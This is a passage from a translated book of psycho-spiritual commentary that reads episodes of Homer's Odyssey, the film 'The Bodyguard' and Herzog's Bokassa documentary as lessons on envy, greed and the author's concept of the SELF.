We have already mentioned some of the poisons, and what we must discuss now are envy and greed. We’ll pick up again the theme of envy that we already touched on when we looked at how Ulysses deals with a Phaeacian prince who belittles him, so we can develop it more completely. To do so we must reflect carefully on the whole story that Ulysses tells about his encounter with Aeolus, the god of the winds. This story contains some clear elements that can help us understand very well how immense Ulysses’ envy is, as well as that of his companions. Book X, 19-79 He gave me an ox-skin, that he had made after skinning a nine year old ox, that he had forced howling hurricanes into; because Chronide made him god of the winds, and he can stir them up or stop them as he pleases. He tied the ox-skin onto the ship with a silver, sparkling chain, so no winds could possibly escape; only the Zephyr’s wind he sent to blow behind us, so it would move the ships and us with them; but it did not get us to our destination: we perished, because of our madness. We sailed day and night for nine days in a row, on the tenth we glimpsed the fields of our fatherland, we were so close we could see men sitting around campfires. Since I was exhausted sweet sleep overtook me; I had been at the tiller the whole time, never giving it up to any of my companions, so we could get home sooner; and my companions started speaking among themselves, and said I was taking gold and silver home with me, gifts from magnanimous Aeolus, son of Hippotes. And so one of them said to another sitting nearby: “Look at how he is loved and honored by all men, whose lanes and cities he visits. He is bringing home from Troy many beautiful treasures as his booty; instead we, who have travelled the same road, are going home with empty hands. Now he has received this as well out of friendship from Aeolus; come then, let’s look at what’s in it, how much gold and silver the ox-skin contains”.
146
This is what they said and the companions’ bad idea overcame them all: they opened the ox-skin: all the winds rushed out, and suddenly a hurricane grabbed them, and took them back out to sea, weeping, far from our homeland. In that moment I awoke, and I had a moment’s hesitation in my noble heart about whether or not I should throw myself from the ship and drown, or suffer in silence, and stay among the living. I suffered and remained, but I lay wrapped in my cape on the floor of the ship; the ships were taken by the evil storm back to the Aeolian island, and my companions wept. Then, since we were satiated by food and wine, I took a herald and one of my companions, I walked towards Aeolus’ noble palace; and I found him seated at a banquet, next to his wife and children. We entered the house, near the columns, and we sat at the doorstep; and they were very surprised and asked us: “Why have you come back, Odysseus? What hateful demon has come after you? We prepared your voyage with great care, so you would return to your homeland, or wherever you wanted to go”. This is what they said; and I responded with my heart full of anguish: “My malicious companions along with cruel sleep have both ruined me. But fix it, dear ones, you have the power to do so”. This is what I said, invoking them with sweet words: they all fell silent: but the father responded with these words: “Get off my island, immediately, shame of the living! It is not right that I help or accompany a man who is hated by the holy gods. Go away, for it is because the immortals hate you that you have returned”. And thus saying he threw me out of the house, and I was moaning deeply. Afterwards we sailed away with our hearts shattered. The hearts of the men at the tiring oars was heavy, because of our madness: we had no one else to help us. At first sight it could seem that here Homer is talking about Ulysses’ companions’ envy towards him, but this is not the whole truth. We could ask ourselves: why doesn’t Ulysses tell his companions what the gift from Aeolus really is? Why did he have to keep it a secret and keep his companions in the dark about it all? Why did Ulysses have to stay at the tiller for nine days and nine nights, without ever having someone take turns with him? Ulysses is responsible for having kept quiet and for having put his companions in such a position as to be tempted to release all the envy they held within themselves. The truth is that Ulysses, who has been envious his whole life because he is only the king of a poor, small island, is pleased to incite others’ envy and to feel that he is envied.
147
While he stays at the tiller of his ship for nine days and nine nights without interruption, he must have enjoyed at length the feeling of being envied. On the tenth day, when they have already glimpsed the coastline of Ithaca, he suddenly falls asleep and therefore cannot see what his companions are plotting. Here the story deviates from the truth. If Ulysses falls asleep, he could no longer hold the tiller, and it is simply not possible that no one notices that the ship is drifting because he has fallen asleep. While it is true that envy makes us blind, it is also true that whoever sees that a boat is drifting off course would most certainly either run to awake Ulysses, or else take over the tiller and save his own life. Things must have gone differently but Ulysses has trouble fully admitting his part of responsibility. As a result he changes the story so that it is convenient for him. Following are the phrases that clearly show how Ulysses sometimes recognizes his own responsibility and other times he puts it all onto his companions or, worse still, onto the gods. At the beginning of his story he says: … “we perished because of our madness”. Also at the end of the story he says: … “ because of our madness we had no one else to help us”. ‘Because of our madness’ means everyone’s madness and not just his companions’ envy and madness. Here he recognizes that everyone is responsible. But when Ulysses tells about Aeolus’ reaction of disgust, where he tells Ulysses he will not give him any more help, the fault lies not on Ulysses’ and his companions’ madness but on the hatred that the gods have towards Ulysses. It is the fault of the hatred that the gods feel towards him, not the madness of envy. This is a great way to avoid owning responsibility and handing it over to the gods. Half way through the story Ulysses says to Aeolus: “My malicious companions along with cruel sleep have both ruined me”. Here the guilty ones are only the malicious companions and cruel sleep. Aeolus responds: “Get off my island, immediately, shame of the living! It is not right that I help or accompany a man who is hated by the holy gods. Go away, for it is because the immortals hate you that you have returned”. Ulysses tried to tell one of his many lies made up of half truths but Aeolus immediately shuts him up and sends him away empty handed, or worse: And thus saying he threw me out of the house… reader, try yourself a minute to feel all the pain of being kicked out of the house.
148
Now let’s look at how Ulysses reacts when he understands the entity of the disaster: “and I had a moment’s hesitation in my noble heart about whether or not I should throw myself from the ship and drown” Ulysses’ first reaction is to want to kill himself by throwing himself into the sea and drowning. Many prefer to kill themselves or kill someone else rather than admit that they are guilty of something. In this reaction of Ulysses the suicidal urge powerfully comes forth. This urge is very common among those who are faced with pain and powerlessness (In Italy in 2004 there were 58,000 suicides). The second reaction is to decide to “ suffer in silence, and stay among the living. I suffered and remained, but I lay wrapped in my cape on the floor of the ship; the ships were taken by the evil storm”… Ulysses does not speak about his anger towards his companions. As he is aware of his own responsibility for what has happened, he asks himself whether he should just kill himself or whether he should continue to suffer in silence. Why in silence? Wouldn’t it have been right to have his companions reflect on the grave damage that envy had caused? Ulysses holds his tongue because he knows full well that he is the first among them to be suffering the effects of envy and thus he has no right to speak. Yet it would be so easy to place the blame on his companions and decide to punish them. At that time, Ulysses still had twelve ships and it would have been easy to send his companions to another ship and put together a new crew. He instead decides to suffer in silence and this is one of those decisions that make a man into a hero and a role model to be followed. It is a terrible thing when you feel you have been struck and you decide to stay alive and suffer in silence. Only a few have the courage to act in this manner. Envy truly is a “hateful demon” and no one is free of becoming a victim of this demon. Very few, however, know how to deal with it. After a first reaction of profound disorientation, Ulysses comes to realize that the pain caused by envy must be experienced fully, in silence and with full responsibility for the part that regards only himself. *****
149
CHAPTER XXVII
A CLOSER LOOK AT ENVY I have already looked at envy in two of my books: “La vita come opera d’arte e la vita come dono spiegata in 41 film”, {Life as a Work of Art and Life as a Gift Explored in 41 Films} , (Published by the Sophia University of Rome (S.U.R.), Rome, 1995), where I published a long comment on the movie “The Bodyguard”; and then in “La nascita della cosmo-art”, {The Birth of Cosmo-Art}, in a laboratory dedicated to the theme of greed and envy. With the help of the images of a film many of our darker parts can be understood much better than with only words. From the first book: Sophia-Artistic interpretation of the movie: “The Bodyguard” by Mick Jackson. … “The internal conflict between positive and negative energies is an every day story and belongs to every human being in every moment of their life. The ferocious beasts that Dante encounters “halfway along his life's path” can be encountered on every street corner. In those moments, who can we ask for help and protection? I know of no better “bodyguard” than the Personal and Cosmic SELF but this bodyguard cannot be rented. The relationship between the I and the SELF is a relationship that must be built day after day, intimately and with regularity. Only then can we entrust ourselves and have a peaceful night’s sleep. The movie’s storyline is very simple. Rachel Marron, interpreted by Whitney Houston, is a successful singer. Her success attracts fans but, for as long as the world has turned, it also attracts others’ envy. Blood ties and the affection of one’s siblings are definitely not a guarantee or a protection against envy, as we might like to think.
150
To the contrary, they often multiply and amplify the suffering of those who are dominated by envy and are right near us. This is what happens to Niki, Rachel’s older sister, who, unable to tolerate the humiliation and the pain that it causes her to not be at the center of success, hires a professional killer and pays him handsomely to kill her sister. A maniac is also brought in to the story, who writes letters to the singer threatening to kill her: “You have everything, I have nothing, so you must die”. This is the message that is repeated over and over again. These threats convince the singer that she must overcome her reluctance and accept the presence of a bodyguard. In the beginning she doesn’t handle his presence very well, and treats him with arrogance and ambivalence. It will take many steps and many changes until the singer decides to truly entrust herself to the bodyguard that they have chosen for her, Frank Farmer, interpreted by Kevin Kostner. It is not an easy thing to step away from the mistrust and disdain that are part and parcel of a proud and arrogant personality, one that looks down its nose at others. To humble oneself before life and accept the gift of someone who wants to protect you from danger, while risking his own life, requires a huge change. Rachel gets there a little bit at a time, with many fluctuations. And when she finally decides to completely entrust herself, she must accept even more sacrifices. She must give up her tour, her press conference, the comfort of her mansion. She must hide out in the mountains, in a secret place. And this place ends up being not so secret after all, since her sister Niki, who is above all suspicion, is always with Rachel. The killer, in fact, easily finds Rachel’s hiding place and his presence becomes known first through the use of dynamite, that almost kills the singer’s son, and then through a fatal blow that kills Niki instead of Rachel. Destructive envy inevitably turns against the one who acts upon it. This is a law of life that cannot be denied. It is only a question of time. A few seconds before she is killed, Niki tells Farmer that it was she who hired the killer to murder her sister. She also tells him that the words written on the threats corresponds exactly to what she thinks, even though she was not the one to send them: her sister has everything and she has nothing. This is why she decided that her sister must die. She herself was a singer, but her sister was kissed by success and she was not. Her sister stole her place on the stage and she stole her success: for this reason it is perfectly fair to hate her and kill her. If Niki was unsuccessful it is only fair that Rachel can’t have success either.
151
This is how envious people think. This is how greedy people think. Because envy comes from greed and greed comes from a refusal to accept what one has and what one is, and run after what one is not and what one has not and that is wanted so badly one is willing to do anything to get it. Greed comes from the inability to recognize one’s value, whether it be small or big, and from the choice to act in life as though one were a bottomless pit , where everything that life puts in is dissipated into nothingness. Greed is an ugly beast, envy is an ugly beast. They are the worst ways we can express our hatred towards life and towards ourselves. How can we possibly say that life has given everything to others and nothing to us? Not even a clochard, a homeless person, would think this way, otherwise they would take their own life instead of living under one of the bridges over the Seine. If we believe something like this we can only be blind and stupid. But blindness and stupidity are so great, says the director Kurosawa in his beautiful film “RAN”, that they are common attributes among people who are intelligent, just imagine among those who are not! One week after Niki’s funeral, Rachel receives an Oscar nomination, which is something she had wished for all her life. And here we are at the heart of the story. The killer has not yet been found and the Oscar ceremony could be a great opportunity for him to hide amongst the crowd and shoot a fatal bullet. The tension grows. Rachel knows she is in danger but she still hesitates between her love for herself and her love of glory. She is still fluctuating between the arrogance of someone who believes that she is entitled to everything, including glory, and the humility of one who decides to entrust herself to life, and by doing so become capable of receiving the gift of an Oscar without spoiling it, because she knows how to receive it and welcome it as a gift. In the exact moment when Rachel is receiving the Oscar, the killer pretends he is using a video camera and he shoots. Had Farmer the bodyguard not been ready to jump between Rachel and the killer, the bullet would have struck and probably killed her. Was her salvation simply lucky or did she build it with tenacity and love? I haven’t yet mentioned that Rachel fell in love with Farmer and Farmer fell in love with her. For an inattentive spectator, this love could easily be seen as being a simple distraction invented by the director, to mix together love and suspense. I believe, instead, that it is the key of the whole film.
152
If Rachel loves herself, if Rachel loves her positive parts, if Rachel loves her SELF , then Rachel can win over her negative parts, her greed, her arrogance and her destructive envy, despite what Niki will be able to do with her own negative parts. If Rachel loves herself, she will then be able to handle the tremendous weight of glory instead of succumbing to it like Elvis Presley or Kurt Cobain or many others have. Frank Farmer, the bodyguard, becomes a symbol or a manifestation of this love and of the love that the SELF is capable of giving to those that welcome it into their lives, and love it in return. This can explain why the film does not end with a wedding between Rachel and Farmer. This was not a love story with a happy ending. It was instead a story about the battle and conquest that every human being must undergo and achieve so they can learn to love authentically themselves; so they can learn to approach life with humility and be able to welcome and appreciate its generous gifts by winning over envy and overcoming greed. *****
HOW CAN WE CURE OUR ENVY? With the art of playing with complaining If the greed that consumes us and the anger and pain that we feel because of the envy we harbor towards others is great, how great will our complaints be and how long will they continue? We cannot expect to immediately stop feeling greed and envy, but we can stop complaining, if we decide to begin loving ourselves and transform ourselves. Play and self-irony are wonderful ways to stop our complaining and concentrate our energies in creative and transformative endeavors. The game of complaining consists of tapping into each one’s ability to emphasize their complaints, allowing themselves to do so and to compete with others to see who is best at complaining and joke about it in a group context. Knowing how to go from complaining to be able to laugh at oneself is an art, and it must be practiced. Self-irony allows us to detach from ourselves and our wounds and from the narcissistic need to lick them forever. Once we have decided to detach from our wounds, the energy contained in our pain can be transformed into creative energy, if we truly are willing to give up sadomasochistic pleasure and choose the pleasure of creating new beauty. With the dialog between the I and the SELF
153
In the West, the SELF is almost completely unknown; in the East it is considered to be that unreachable and transcendent reality that everyone is looking for and that the I must dissolve itself into by eliminating all of its desires, unless one wants to have to eternally reincarnate. I have already spoken of the SELF in other books of mine and in a series of previous articles, and my description of it is quite different from the way that it is commonly described in the Orient. Since I suspect that few have understood and grasped the meaning of this little known reality, and this concerns me, I will touch on this subject off and on in the future as well. We are immersed in a cosmic web that, for some, is only a spider’s web where events happen by chance. These events can be fortunate or unfortunate, according to one’s point of view. One can look from the standpoint of the spider or of a fly: for the fly the events are unfortunate, for the spider they are fortunate. For others, instead, and they are the ones who believe in the reality of the SELF , there are no events that happen by chance. Everything happens with synchronicity because there is a project that is behind it all. We are not speaking, however, of divine providence. The synchronicity that is seen in the outside world corresponds to the synchronicity of our inner world. Sometimes this happens because the I learns about its inner reality thanks to the events that occur in its outer one, and other times it happens because the I , stimulated by the SELF, manages to take steps forward and make the changes it must so it can pass from a lower evolutionary stage to a higher one. The SELF, in fact, speaks both within ourselves and from outside ourselves. It continuously stimulates the I so it can make a synthesis between the internal and the external worlds and vice-versa. This allows for continual fertilization and continual birthing, after a proper period of gestation has elapsed. This way of thinking can be embraced by those who believe they can be perfected and not by those who believe they are perfect, as do those who are passively governed by an ideal of perfection. This ideal of perfection is an arrogant demand that perfection exist and it is not a constant search for a way to become perfect. Only those who want to continually improve themselves are interested in the dialog between the I and the SELF . Those instead who believe they have already arrived at being perfect, and who feel threatened by anyone who does not agree with them, are not interested in this type of dialog. This is why when anything happens in my life I always ask myself: “what is it that the SELF wants from me?
154
Obviously the answer does not come immediately, right after I ask the question, but if I continue asking, and I am open to receiving the answer - no matter how uncomfortable it might be at times - most certainly the answer will come. Cosmologists affirm that the Universe is continually expanding. I affirm that the Universe is growing, and that not only do I grow with it, but it also grows with me. I need to improve myself continuously, because the Universe needs to continuously improve and it cannot do it without me. The SELF is not at the service of only my wellbeing, but of my wellbeing and the wellbeing of the entire Universe. The Universe is a living organism, just like my own body is and myself along with it. It does not make sense to imagine that my cells, and I am a cell of the Universe, can imagine their own wellbeing by separating themselves from the wellbeing of the whole body that they belong to. Were they to do so it would be like developing a cancer. I must continually improve myself, otherwise it would be like becoming a cancer, it would mean death. Greed and envy are some of the many cancers that bring death along with them. In my dialog with the SELF I can learn how to win over cancerous substances and how to allow more space for vital processes that increase my being, that help me reach a fullness of existence, and that are gifts not just for me but for the whole Universe. Now, let’s use our imaginations and pretend that Niki, the singer’s sister, knew about the reality of the SELF and about the dialog she could have developed with her SELF when, dominated by the passion of envy, she felt a homicidal urge against her sister rise up inside herself. Had she asked her SELF, “What is it that you want from me?”, do you think she would have received as an answer, “Go, and hire a killer; you might as well because there is no way to get away from homicidal urges once they have exploded within you”? If anything, these are thoughts that come from the I and not from the SELF. They come from an I that is isolated within itself and can see no further than the tip of its own nose; they come from an I that does not know hope; they come from an I that does not know how to pray or whom to pray to. The cells of my body pray, when they are sick, and they cause me pain so I will do something to help them feel better. It’s true that I am not always capable of doing something to help them, but I often can if I take action in that direction.
155
Now why would what works between my cells and my I not work between my I and my SELF , where my SELF transcends my I just as my I transcends my cells? Do I want to create a dialog with my SELF ? Do I want to transform this dialog into prayer, when necessary? Everyone can do with their lives whatever they want. Don’t allow yours to become a piece of the Universe that has gone mad”. Reprinted from “La vita come opera d’arte e la vita come dono spiegata in 41 film” {Life as a Work of Art and as a Gift Explained in 41 films}, (Published by the Sophia University of Rome, S.U.R., Rome, 1995) pp.219-226. *****
156
CHAPTER XXVIII
THE SUN GOD’S CATTLE AND ULYSSES’ GREED
It would seem that Homer is not speaking of Ulysses’ greed but only of his companions’, but if we analyze the story of what happens on the island of Thrinacia closely, we can see that this is not the case. When Ulysses descends into Hades, Teireisias warns him carefully about what kind of danger awaits him when he reaches the island of Thrinacia. but even like this, suffering pain, you’ll be able to arrive, if you want to control your heart and the heart of your companions, when you will steer your solid ship to the island of Thrinacia, safe from the violet sea, and you’ll find the cattle and hearty flocks of sheep grazing there belonging to the sun god, who sees and hears everything from above. If you will leave them alone, and think of your return to Ithaca, even though you’ll suffer, you will get there: but if you steal them then I pronounce the end of your ship and your companions. As for you, if you survive, late and with much trouble will you get home, after having lost all your companions (Od. XI, 104-114). Teiresias says that Ulysses “must control his heart” and not just the hearts of his companions. And then he adds “if you leave them alone” (the Sun god’s cattle and his hearty flocks of sheep) you will be able to get to Ithaca but “if you steal them” you’ll lose your ship and your companions and “if you survive”, “late and with much trouble you will get home”. These are direct warnings given personally to Ulysses and not just to his companions. This is how we can see that the problem of greed has to do with Ulysses and not just with his companions. He is the one who must “control his heart”; but control what? It seems clear that he must control his own greed that is the first cause, not hunger, that pushes him to throw himself onto goods that are not his own. But what does Ulysses do? It’s true that he first begs them to not land on the sun god’s island and that they did not want to listen to him, but he was the boss and he should have made them obey him. It is not enough that he asks them to make a solemn oath to not touch the cattle. Alright, now everyone make a solemn oath,
157
that if we find a herd of cattle or a large flock of sheep no one, acting madly, will kill either a cow or a sheep, but peacefully you will eat the food that Circe the immortal gave us”. That’s what I said and all of them immediately took the oath. And as soon as they had sworn and said their oath, we anchored our well-made ship in the deep port …(Od. XII, 299-305) Now, while he had already decided to distance himself, he only gives them a weak warning about what kind of troubles they will run into if they dare touch the animals: “My dear ones, there is food and drink in our rapid ship there is plenty; so let’s not touch the cattle, otherwise something will happen to us… (Od. XII, 320-321) … That is what I said and their arrogant hearts were persuaded. (Od. XII, 324) And then he goes for a tour around the island with the excuse he is going to pray to the gods. After that I wanted to go deeper into the island to pray to the gods, so they would show me the way to get home. And since I had freed myself of my companions, by going around the island, after I washed my hands in a place that was out of the wind, I prayed to all the gods that inhabit Olympus: and they filled my eyes with sweet sleep. (Od. XII, 333-338) In answer to his prayers the gods fill his eyes with sleep. Is this a joke, or is it one of Ulysses’ usual inventions so he can avoid owning his responsibility in things? When his companions opened the ox-skin containing the winds he also said that he had fallen into a deep sleep. What is the truth here? The truth is that Teireisias had asked him to “control his heart” and he had warned him that if he had taken the cattle everyone would have died. If Ulysses does not listen to him, he is the only one responsible and it is his greed that makes him act in this manner. If his companions banquet on the cattle’s flesh for six consecutive days, what does he do in the meantime, stay off to one side? Or does he participate in the banquet? The truth is complex and it is not always linear. While we earlier looked at how Ulysses suffers from envy, now we can affirm that he suffers from “envy of goods” just as much as his companions do. He is the one who could not control his heart and he dragged his companions to their ruin. We could argue that Zeus doesn’t kill Ulysses but he does kill his companions.
158
This is true, but Zeus does punish him severely by first destroying his ship and then by pushing him backwards towards the vortex of Charybdis. In this manner Ulysses has all the time in the world to reflect on the damage that greed produces, his own greed as well as that of others. Greed, the historians say, was Alexander the Great’s main illness. No conquest could placate his hunger for more conquests. Just as soon as he was successful in one, he immediately had to organize another one. When he finally stopped, after having conquered half of Asia, he did so not because he decided to but because his soldiers, exhausted after a thousand wars, refused to keep on fighting. *****
159
CHAPTER XXIX
MORE ABOUT ENVY From the second book “La nascita della cosmo-art” {The Birth of Cosmo-Art} I will reprint the following article on greed, written for a Group Laboratory of Existential Anthropology of the Sophia University of Rome: “Greed is one of the basic contradictions within human beings. It is made up of the presence of two opposites: the abhorrence of emptiness and the inability to tolerate fullness. Those who are greedy are terrified of emptiness and they must always chase after a way to defend themselves from it. On the other hand, those who are greedy cannot tolerate fullness, because if they were full they could no longer complain about being empty and complaining is the most usual way of illuding oneself that the emptiness has been filled. Complaining is also indispensable for those who have decided to cultivate sadomasochistic pleasure. Sadomasochistic pleasure is the result of an unhealthy vision of life or of a desire for revenge. Revenge always carries with it great pleasure at having one’s pride wounded, but it is a type of pleasure that becomes a self-punishing expiation. The first type of pleasure is sadistic, the second type is masochistic. The desire for revenge can rise up in response to a wound to one’s narcissism caused by trauma. It can also rise up, very simply, in response to an enormous arrogant demand on the part of a megalomanic I . The demand to be considered the center of the universe, to whom everyone must bow down to, offering adoration and respect, often encounters those who are not willing to be dominated like this. Thus the I inevitably is offended by such disobedience and so it decides to get revenge against anyone who does not give in to its arrogant demands. These arrogant demands thus generate a wound that is intolerable to the I ‘s pride. Such a wound to one’s pride must not be confused with the wound inflicted to one’s narcissism as a result of trauma, even though often in current language this distinction is not at all taken into consideration. A narcissistic wound of traumatic origin is often the consequence of a trauma to the fetal I, or the infant I being deprived of a fullness that they should have experienced during the prenatal phase and the oral phase but did not. The narcissistic wound is not only the result of a deprivation; it is also the result of the fact that the I believes it has been done a grave injustice that has damaged its biological, psychological and existential needs. It is the feeling of such injustice that creates a need for revenge, rather than a need for a healthy way to heal the wound.
160
The anger that is unleashed within the I is so immense that the only possible way for it to feel it has been repaid is by demanding the destruction of its aggressor, rather than by satisfying the need that was left unsatisfied. But since it is often neither convenient nor possible to destroy the aggressor, an aggressive strategy and a self-punishing strategy are automatically put into place; the combination of the two strategies make up the basis of the choice of sadomasochistic pleasure. The healthy pleasure represented by finding a way to have the need satisfied is rejected, and the unhealthy pleasure of keeping satisfaction of the need at bay takes precedence, which then expresses itself through complaining, revenge and expiation. The narcissistic wound becomes even more dangerous when pride and megalomania, that are always naturally present in an individual, are added on to the wound. The greater the arrogant demands, the greater the wound.
Arrogant demands are a result of theomania and of a concept of justice that has lost touch with historical reality. They feed on an idealistic reality or on a reality based on fantasy. We all have the right to breathe air that is not polluted and we all had the right to live for nine months in a uterus that was not polluted, but reality could care less about our rights and we have the tendency to rebel against reality instead of accepting it, even when we must accept it so we can transform it. Arrogant demands and wounds can be present in an individual during prenatal life and from there they can spread throughout the rest of one’s life. At this point the very concept of reality becomes distorted. The parameters that the fetal I uses to judge and perceive the quality of reality most certainly are not anything like the parameters used by an adult I which is fully inserted in extra-uterine reality. The sense of reality of adult I depends on how it perceives the environmental circumstances it must adapt to if it wants to survive. It also depends on its perception of the potential that the I has to transform and improve the surrounding reality. This is the meaning of external reality. Then there is the sense of internal reality, that can be ill; it can be full of meaning or it can be without any meaning at all. During intrauterine experience only the I exists; Others don’t exist at all. Only the needs of the I exist and the needs of others don’t exist. Not even the needs of the mother exist, who is the first Other that the fetal I can perceive as an existence separate from its own. The narcissistic wound that strikes the I during the embryonic stage or in the fetal stage is so powerful that it can keep the I from being completely born , even when its intrauterine life ends and its extra-uterine life begins. The I remains bound to the stage it was wounded in and the only thing that exists for it are its wounds and the reality connected to those wounds. Any other reality that is different from that one either is not perceived at all or, if it is perceived, it is cancelled out and destroyed. It is as though the I continues to live inside the uterus and not outside of it. It’s as though the I were never born at all. The biological I, the corporeal I and the
161
psychological I are all born but the I Person is not completely born. It remains wrapped in the placenta and the placenta begins to poison it, instead of nurturing it. In these conditions the I is always searching for what it did not have, but when it finds it, it must reject and devalue it. Nothing will ever be able to offer that initial stage of fullness that was so yearned for and that was not experienced because it simply was not there. This conflict between searching and rejecting makes up the basis of modern man’s greed: mankind today has never left the womb, it has never been completely born. As Martin Buber says, a person whose I is empty was missing a You from the time of conception onward. A person is greedy for recognition because it was not recognized as a You by the I that generated him or her. Success, power and glory are the illusions that the I believes can satisfy its need to be recognized as a You . But the more success they achieve, the emptier they feel, so they try to fill themselves with more success and more recognition, until the day comes when this lie is unmasked in an unexpected and tragic manner. This can help us understand the case of Maradona and of many others that our newspapers continuously publish stories about. We can thus understand the many dramas within couple relationships, where one partner never feels like they are recognized by the other and vice-versa. The same thing is true for social interactions and relationships in general. When the narcissistic wound caused by trauma and arrogant demands unite, as so often happens these days, greed, destructive envy and the need for revenge reach extremely high levels that are hard to control. If instead the I is full of the fullness of being, that it has a right to experience at every phase of its life, then it is capable of feeling joy. Since it is rare today to find anyone who can feel joy and live in serenity, we must deduct from this that very few have accomplished the fullness they need. We can also assume that very few do something about achieving this fullness, that can only be obtained after working for it. It is not a given. A greedy person cannot tolerate joy, because if they were to accept it they would have to give up their greedy demands and their complaints. They would have to give up their sadomasochistic pleasure and the pleasure of revenge. Giving these things up would mean having to experience emptiness and very few are willing to experience this. The greedy person, when offered a choice between joy and unhealthy pleasure, will always choose the unhealthy pleasure, because they cannot face emptiness. Joy requires hard work while unhealthy pleasure is always available; it requires no effort. It is indeed a PARADOX that during adult life fullness can be obtained only by accepting emptiness and experiencing it completely. As long as one is horrified by emptiness, this horror fills the emptiness and there is no room for any other type of fullness. Remaining horrified by fullness and complaining about emptiness do not allow for fullness”. (Reprinted from “La nascita della cosmo-art” { The Birth of Cosmo-Art}, pgs. 1921)
162
CHAPTER XXX
GREED AND ENVY
“Greed is the principal matrix that nurtures envy towards others. Others are seen as the sole owners of the fullness that they have and that we don’t have. Others, whom we assume have that fullness, make the presence of the emptiness within ourselves acutely painful. Thus the other must be destroyed, in the illusory hope that such destruction will somehow relieve the painful presence of emptiness. I have spoken more extensively on envy in the article on the film “The Bodyguard”. Those who are greedy reason in these terms: the others have everything, I have nothing, thus they all must die. Those who are greedy never cease to compare themselves to others and to affirm with rancor that the others are better off than they are because those others have something that they do not have. It is always easy to see what others have and what we don’t have. But the real problem is not in the things themselves. How can one discover how those who live in fullness have managed to reach this fullness, and free themselves of emptiness? To experience emptiness means going into the desert and crossing it from one end to the other. In the desert we are alone and we cannot compare ourselves to anyone else. We can compare ourselves only to ourselves, and look back at the road already travelled and forward at what still lies ahead. The desert is a metaphor and not a physical place. Life can be the desert we must cross so we can reach our goal, or it can be a desert where we end up dying after we have been seduced by the attraction to death. This is, essentially, an attraction to emptiness, where one chooses nothingness instead of choosing being. Those who are greedy are never happy with who they are nor with what they have. They are never happy with themselves. They are always outside of themselves; they are always somewhere else and never are they completely present in any place. Their favorite place is the rational mind, where they dwell on negative thoughts that express their discontent, their dissatisfaction, their anger and criticism towards themselves, towards others and towards life. The rational mind is based on will power and will power is based on theomania, or on the arrogant demand to be an Absolute and not a human being who was born to look for Truth and Beauty; Truth and Beauty that are the result of a creative power we must activate and not simple objects to be bought or stolen”. GREED, THIRST FOR POWER AND DESTRUCTIVE ENVY “One of humanity’s most longed for goals has always been the attainment of power. The unconfessed aspiration of every human being is to have power over others and to have no one above oneself, who we would have to be accountable to with regards to our actions and choices.
163
When greed and the thirst for power are coupled together it is very rare to see someone who is satisfied of the power that life has given them or of the power that they themselves have conquered. The power they have is never enough. They always want more and every means to get it becomes legitimate and can be rationalized ad infinitum. Stealing, conspiracy, homicide, deceit: everything is allowed. Responsibility, loyalty, gratitude all become words that are deprived of any meaning. Anyone who has more power than me is always a tyrant who must be overthrown or an enemy who must be fought against. Greed and power generate destructive envy. Destructive envy incubates in the depths of the human soul for a long time and, as soon as circumstances permit, it breaks forth with all its devastation into the life of individuals and the life of whole countries . What I am describing is history and history cannot be changed with a few or even with many sessions of therapy, no matter what kind of therapy it might be. What can change history is the decision to step out of the existential lie and the choice to conform one’s actions to the laws of life, at any cost. I have always based my hope for my dream to change history on the ability to create a new way of thinking, being and acting, based on the laws of life. Such type of new orientation must be sought after assiduously and constantly and must be respected by making a deep commitment to it. I know very well that all this generates fear and that some, instead of facing this fear and overcoming it, will go around it, if they can, through lying and opportunism”. THE FULLNESS OF BEING “The fullness of being is a fullness that is always new and different. It condenses into a second of the present, when that second is embraced with all of its consequences, good or bad that they might be. The present is always alternating between emptiness that becomes full and fullness that becomes empty so it can fill up once again. Fullness of being is experienced every time the interior dimension changes in regards to oneself, to others, to life. Every change is a death and rebirth and while one is experiencing death it is clear that one cannot experience rebirth: this comes right afterward. Fullness of being is a continual newness of being. This is why it cannot be accomplished once and for all. Nor can it be accumulated all at once. It appears rhythmically, like day and night, and it keeps on growing forever. There can be no experience of fullness of being for someone who has not yet decided to leave the uterus and be completely born into reality”. (see A.M. “La nascita della cosmo-art” {The Birth of Cosmo-Art} , pgs. 19-23). ***
164
I will again turn to the help that visual images offer and reprint what I wrote from my book mentioned earlier on the film by Werner Herzog about the emperor Bokassa. “Echoes from a Sombre Empire” a documentary film by Werner Herzog on Bokassa the ex-Emperor of Central Africa Main interpretation Living life as thieves is the opposite of living life as a gift and this way of living has always been present throughout human history. Among its modern perpetrators are those who do not want to grow up they do not want to become adults because they stay fixated at the oral phase that they had experienced negatively. Because while it’s true that they were nurtured by their mothers they were nurtured so they could be devoured and now they must seek revenge, devouring and destroying everything that comes near their hungry mouths. To eat and be eaten to devour and be devoured to be bored and to bore others is the imperative emperor of modern man who steals and is stolen from. During the oral phase, and in my opinion already during prenatal life, the oral I is an elephant-sized mouth that gapes at the center of first the maternal universe and then of the entire universe. The elephant-sized and megalomanic I is always hungry. The more it swells up the hungrier it gets. It’s hungry for food, for power, for recognition, for success. Bokassa first becomes a general, then a marshal, then an emperor, with a huge crown on his head that is decorated with diamonds and has a tail many meters long. Don’t monkeys have tails? Well, Bokassa is the monkey who imitates Napoleon; he is the monkey who imitates the Pharaohs. Dignitaries and ambassadors from every nation come to his coronation to pay their sombre respects. But during the ceremony a chubby, frightened little boy is also present; stuffed into a white uniform, as though he were the heir of the empire, he moves like an automaton and can’t stop yawning. Herzog’s unforgiving eye moves from focusing first on the Emperor, and then on the child. Which of the two is the Emperor?
165
Bokassa, the child who was devoured, or Bokassa, the child who devours? Bokassa goes to visit the Pope, the kings and heads of state all over the world and they all receive him with due honor. Everyone honors themselves by honoring Bokassa. This is what the reasoning of the nations requires. This is what the madness of the West requires. His majesty the oral I is always hungry for honors and recognition; it is always ready to destroy and plunder. Because he was not nourished enough; because he was not nourished with milk and honey; because the mother did not nourish him, she simply devoured him. And now he devours the mother, devours his country’s wealth, just like we devour the wealth of our planet. He devours his people’s freedom, he devours his people’s flesh, like a cannibal. And he devours his wives, both black and white, one after another, tirelessly and with a hungry mouth that produces 54 children. Finally his people rebel and Bokassa is deposed and condemned to death. France, that has a weakness for grandiosity, helps him escape and gives him a castle to live in. He, however, gets bored in his castle and he returns home, where a death sentence is hanging over his head. How strange, though: they capture him but they don’t kill him. He declares his innocence and wants another trial; he obtains one and they condemn him to life imprisonment. In prison, not being able to devour human flesh, he devours the pages of the Bible and declares himself an Apostle of Christ. But this is not so strange: he most surely meditated at length on Christ’s words that say: “Unless you eat of my flesh and drink of my blood, you cannot have life”. That translated into modern language means; unless you allow yourselves to be devoured and you devour in return you cannot have life. Bokassa first copied Napoleon and now he starts copying Jesus 